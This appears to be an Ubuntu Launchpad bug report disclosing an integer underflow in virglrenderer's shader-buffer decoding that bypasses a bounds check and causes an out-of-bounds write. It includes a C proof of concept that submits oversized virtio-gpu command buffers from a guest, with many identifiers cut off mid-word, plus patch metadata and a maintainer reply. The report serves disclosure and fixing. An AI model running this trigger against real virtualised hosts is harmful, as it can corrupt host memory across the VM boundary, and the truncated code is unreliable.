Integer underflow in the vrend_decode_set_shader_buffers() on virglrenderer
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
virglrenderer (Ubuntu) |
Fix Released
|
Undecided
|
Unassigned | ||
Bionic |
Invalid
|
Undecided
|
Unassigned | ||
Focal |
Incomplete
|
Undecided
|
Ubuntu Security Team | ||
Hirsute |
Incomplete
|
Undecided
|
Ubuntu Security Team | ||
Impish |
Won't Fix
|
Undecided
|
Ubuntu Security Team | ||
Jammy |
Fix Released
|
Undecided
|
Unassigned |
Bug Description
Env
===
Description: Ubuntu 20.04.3 LTS
Release: 20.04
Package
=======
virglrenderer
Vulnerability
=============
The is an integer underflow bug in the vrend_decode_
can be used to bypass the checking and leads to OOB write.
virgl_renderer_
|
|-> vrend_decode_
|
| VIRGL_CCMD_
|
|-> vrend_decode_
|
| /**
| * When the num_ssbo is larger than PIPE_MAX_
| * we can obey the checking. The value of PIPE_MAX_
| * is 32, if num_ssbo is 33, the result of sub is -1. However,
| * the type of num_ssbo and start_slot is uint, -1 is bigger than
| * start_slot, and it's ok.
| */
|
| if (start_slot > PIPE_MAX_
| start_slot > PIPE_MAX_
| return EINVAL;
|
| /* OOB write */
| for (uint32_t i = 0; i < num_ssbo; i++)
| vrend_set_
The PoC is as following:
#define NUM_SSBO 100 // trigger oob
#define BUF_SIZE ALIGN((1 + 2 + (4 * NUM_SSBO * VIRGL_SET_
static int is_virgl_3d(int dev)
{
int ret;
int virgl = 0;
struct drm_virtgpu_
param.param = VIRTGPU_
param.value = (unsigned long)&virgl;
ret = ioctl(dev, DRM_IOCTL_
if (ret == -1)
ERR("
return virgl;
}
static int virgl_create_
{
int ret;
struct drm_virtgpu_
resource.target = PIPE_TEXTURE_
resource.format = VIRGL_FORMAT_
resource.
resource.
resource.
resource.bind = VIRGL_BIND_
resource.depth = 1;
resource.width = 8;
resource.height = 8;
resource.size = 4096;
resource.flags = 0;
ret = ioctl(dev, DRM_IOCTL_
if (ret == -1) {
ERR("
return -1;
}
return resource.
}
static int virgl_fill_
{
*ptr = (len << 16) | (type & 0xff);
return sizeof(uint32_t);
}
static int virgl_execbuffe
{
int i;
int ret;
char *buf;
uint32_t len = BUF_SIZE/4 - 1;
uint32_t *ptr = NULL;
struct drm_virtgpu_
buf = malloc(BUF_SIZE);
if (buf == NULL) {
ERR("malloc()");
return -1;
}
memset(buf, 0x0, BUF_SIZE);
execbuf.flags = 0;
execbuf.bo_handles = 0;
execbuf.
execbuf.fence_fd = 0;
execbuf.command = (unsigned long)buf;
execbuf.size = BUF_SIZE;
ptr = (uint32_t*)buf;
virgl_
*(ptr + VIRGL_SET_
*(ptr + VIRGL_SET_
for (i = 0; i < NUM_SSBO; i++) {
*(ptr + VIRGL_SET_
*(ptr + VIRGL_SET_
*(ptr + VIRGL_SET_
}
ret = ioctl(dev, DRM_IOCTL_
if (ret == -1)
ERR("
free(buf);
return ret;
}
int main(void)
{
int dev;
int res_hdl;
dev = open(VIRTIO_DEV, O_RDONLY);
if (dev == -1) {
ERR("open %s", VIRTIO_DEV);
return 0;
}
if (!is_virgl_3d(dev)) {
LOG("virgl_3d is NOT enabled\n");
goto out_dev;
}
res_hdl = virgl_create_
if (res_hdl == -1)
goto out_dev;
LOG("resource_
virgl_
out_dev:
close(dev);
return 0;
}
Related branches
- Utkarsh Gupta (community): Approve
- Canonical Server packageset reviewers: Pending requested
- git-ubuntu import: Pending requested
-
Diff: 75 lines (+43/-1)4 files modifieddebian/changelog (+6/-0)
debian/control (+2/-1)
debian/patches/lp-1950941-vrend-fix-boundary-check-for-SSBO-state-update.patch (+34/-0)
debian/patches/series (+1/-0)
Hi,
Have you reported this issue to the virglrenderer developers?
If not, please report it to them. The bug tracker is here:
https:/ /gitlab. freedesktop. org/virgl/ virglrenderer/ -/issues
Once you have done that, please let us know the bug number and once a fix is available we will package it for Ubuntu.
Thanks!